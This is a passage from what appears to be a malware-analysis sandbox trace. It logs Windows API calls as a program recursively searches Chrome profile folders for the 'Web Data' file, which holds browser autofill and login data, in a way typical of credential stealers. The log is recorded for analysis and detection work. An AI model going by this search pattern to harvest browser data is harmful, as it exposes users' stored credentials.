returned 0x643aa8 [0078.289] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Google\\Chrome" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Google\\Chrome") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Google\\Chrome" [0078.289] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Google\\Chrome\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0xffffffff [0078.289] LocalFree (hMem=0x643aa8) returned 0x0 [0078.289] LocalFree (hMem=0x647ab8) returned 0x0 [0078.289] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x66b940 [0078.289] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x66b940 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0078.289] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0078.290] lstrlenA (lpString="\\Google\\Chrome") returned 14 [0078.290] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x647ab8 [0078.290] lstrcpyA (in: lpString1=0x647ab8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0078.290] LocalFree (hMem=0x66b940) returned 0x0 [0078.290] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome") returned 44 [0078.290] lstrlenA (lpString="\\*.*") returned 4 [0078.290] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643aa8 [0078.290] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome" [0078.290] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\*.*", lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 0x642768 [0078.291] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.291] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 1 [0078.291] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.291] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.291] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12fd62 | out: lpFindFileData=0x12fd62) returned 1 [0078.291] lstrcmpiA (lpString1=".", lpString2="User Data") returned -1 [0078.291] lstrcmpiA (lpString1="..", lpString2="User Data") returned -1 [0078.291] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome") returned 44 [0078.291] lstrlenA (lpString="\\") returned 1 [0078.291] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x647b70 [0078.291] lstrcpyA (in: lpString1=0x647b70, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome" [0078.291] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\" [0078.291] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\") returned 45 [0078.291] lstrlenA (lpString="User Data") returned 9 [0078.291] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x643b68 [0078.291] lstrcpyA (in: lpString1=0x643b68, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\" [0078.291] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\", lpString2="User Data" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" [0078.291] LocalFree (hMem=0x647b70) returned 0x0 [0078.291] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0078.291] lstrlenA (lpString="\\*.*") returned 4 [0078.291] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x655028 [0078.291] lstrcpyA (in: lpString1=0x655028, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" [0078.291] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\*.*" [0078.291] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 0x6427a8 [0078.326] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.326] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0078.326] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.326] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.326] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0078.326] lstrcmpiA (lpString1=".", lpString2="CertificateTransparency") returned -1 [0078.326] lstrcmpiA (lpString1="..", lpString2="CertificateTransparency") returned -1 [0078.327] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0078.327] lstrlenA (lpString="\\") returned 1 [0078.327] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643c28 [0078.327] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" [0078.327] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0078.327] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0078.327] lstrlenA (lpString="CertificateTransparency") returned 23 [0078.327] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x6640d8 [0078.327] lstrcpyA (in: lpString1=0x6640d8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0078.327] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="CertificateTransparency" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0078.327] LocalFree (hMem=0x643c28) returned 0x0 [0078.327] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned 78 [0078.327] lstrlenA (lpString="\\*.*") returned 4 [0078.327] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x65b5e8 [0078.327] lstrcpyA (in: lpString1=0x65b5e8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" [0078.327] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*" [0078.327] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0078.329] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.329] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0078.329] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.329] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.329] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0078.329] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0078.329] LocalFree (hMem=0x65b5e8) returned 0x0 [0078.329] LocalFree (hMem=0x6640d8) returned 0x0 [0078.329] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0078.329] lstrcmpiA (lpString1=".", lpString2="Crashpad") returned -1 [0078.329] lstrcmpiA (lpString1="..", lpString2="Crashpad") returned -1 [0078.329] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0078.329] lstrlenA (lpString="\\") returned 1 [0078.329] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643c28 [0078.329] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" [0078.329] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0078.329] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0078.329] lstrlenA (lpString="Crashpad") returned 8 [0078.329] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x66b738 [0078.329] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0078.329] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="Crashpad" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0078.329] LocalFree (hMem=0x643c28) returned 0x0 [0078.329] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 63 [0078.329] lstrlenA (lpString="\\*.*") returned 4 [0078.329] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x66b940 [0078.329] lstrcpyA (in: lpString1=0x66b940, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0078.329] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*" [0078.329] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0078.331] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.331] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0078.331] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.331] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.331] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0078.331] StrStrIA (lpFirst="metadata", lpSrch="Web Data") returned 0x0 [0078.331] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0078.331] lstrcmpiA (lpString1=".", lpString2="reports") returned -1 [0078.331] lstrcmpiA (lpString1="..", lpString2="reports") returned -1 [0078.331] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned 63 [0078.331] lstrlenA (lpString="\\") returned 1 [0078.331] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x650450 [0078.331] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" [0078.331] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0078.331] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned 64 [0078.331] lstrlenA (lpString="reports") returned 7 [0078.331] LocalAlloc (uFlags=0x40, uBytes=0xc8) returned 0x650520 [0078.331] lstrcpyA (in: lpString1=0x650520, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\" [0078.331] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\", lpString2="reports" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" [0078.331] LocalFree (hMem=0x650450) returned 0x0 [0078.331] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned 71 [0078.331] lstrlenA (lpString="\\*.*") returned 4 [0078.331] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6640d8 [0078.332] lstrcpyA (in: lpString1=0x6640d8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" [0078.332] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*" [0078.332] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*", lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0x642828 [0078.332] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.332] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.333] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.333] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.333] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.333] StrStrIA (lpFirst="3445ae1f-7ee8-40f7-802d-c756087f6c35.dmp", lpSrch="Web Data") returned 0x0 [0078.333] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0 [0078.333] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0078.333] LocalFree (hMem=0x6640d8) returned 0x0 [0078.333] LocalFree (hMem=0x650520) returned 0x0 [0078.333] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0078.333] StrStrIA (lpFirst="settings.dat", lpSrch="Web Data") returned 0x0 [0078.333] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0 [0078.333] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0078.333] LocalFree (hMem=0x66b940) returned 0x0 [0078.333] LocalFree (hMem=0x66b738) returned 0x0 [0078.333] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12fbf6 | out: lpFindFileData=0x12fbf6) returned 1 [0078.333] lstrcmpiA (lpString1=".", lpString2="Default") returned -1 [0078.333] lstrcmpiA (lpString1="..", lpString2="Default") returned -1 [0078.333] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned 54 [0078.333] lstrlenA (lpString="\\") returned 1 [0078.333] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643c28 [0078.333] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data" [0078.333] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0078.333] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 55 [0078.333] lstrlenA (lpString="Default") returned 7 [0078.333] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x66b738 [0078.333] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\" [0078.333] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="Default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0078.333] LocalFree (hMem=0x643c28) returned 0x0 [0078.333] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 62 [0078.333] lstrlenA (lpString="\\*.*") returned 4 [0078.333] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x66b940 [0078.334] lstrcpyA (in: lpString1=0x66b940, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0078.334] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*" [0078.334] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*", lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 0x6427e8 [0078.347] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.347] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0078.348] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.348] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.348] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0078.348] lstrcmpiA (lpString1=".", lpString2="Cache") returned -1 [0078.348] lstrcmpiA (lpString1="..", lpString2="Cache") returned -1 [0078.348] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 62 [0078.348] lstrlenA (lpString="\\") returned 1 [0078.348] LocalAlloc (uFlags=0x40, uBytes=0xc0) returned 0x650450 [0078.348] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0078.348] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0078.348] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 63 [0078.348] lstrlenA (lpString="Cache") returned 5 [0078.348] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x650518 [0078.348] lstrcpyA (in: lpString1=0x650518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0078.348] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Cache" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0078.348] LocalFree (hMem=0x650450) returned 0x0 [0078.348] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned 68 [0078.349] lstrlenA (lpString="\\*.*") returned 4 [0078.349] LocalAlloc (uFlags=0x40, uBytes=0xc9) returned 0x6640d8 [0078.349] lstrcpyA (in: lpString1=0x6640d8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0078.349] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*" [0078.349] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*", lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0x642828 [0078.350] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.350] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.350] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.350] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.350] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.350] StrStrIA (lpFirst="data_0", lpSrch="Web Data") returned 0x0 [0078.350] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.350] StrStrIA (lpFirst="data_1", lpSrch="Web Data") returned 0x0 [0078.350] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.350] StrStrIA (lpFirst="data_2", lpSrch="Web Data") returned 0x0 [0078.350] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.350] StrStrIA (lpFirst="data_3", lpSrch="Web Data") returned 0x0 [0078.350] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 1 [0078.350] StrStrIA (lpFirst="index", lpSrch="Web Data") returned 0x0 [0078.350] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f91e | out: lpFindFileData=0x12f91e) returned 0 [0078.350] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0078.350] LocalFree (hMem=0x6640d8) returned 0x0 [0078.350] LocalFree (hMem=0x650518) returned 0x0 [0078.350] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0078.350] StrStrIA (lpFirst="Cookies", lpSrch="Web Data") returned 0x0 [0078.350] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0078.350] StrStrIA (lpFirst="Cookies-journal", lpSrch="Web Data") returned 0x0 [0078.350] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0078.350] StrStrIA (lpFirst="Current Session", lpSrch="Web Data") returned 0x0 [0078.350] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0078.350] StrStrIA (lpFirst="Current Tabs", lpSrch="Web Data") returned 0x0 [0078.350] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12fa8a | out: lpFindFileData=0x12fa8a) returned 1 [0078.350] lstrcmpiA (lpString1=".", lpString2="data_reduction_proxy_leveldb") returned -1 [0078.351] lstrcmpiA (lpString1="..", lpString2="data_reduction_proxy_leveldb") returned -1 [0078.351] lstrlenA 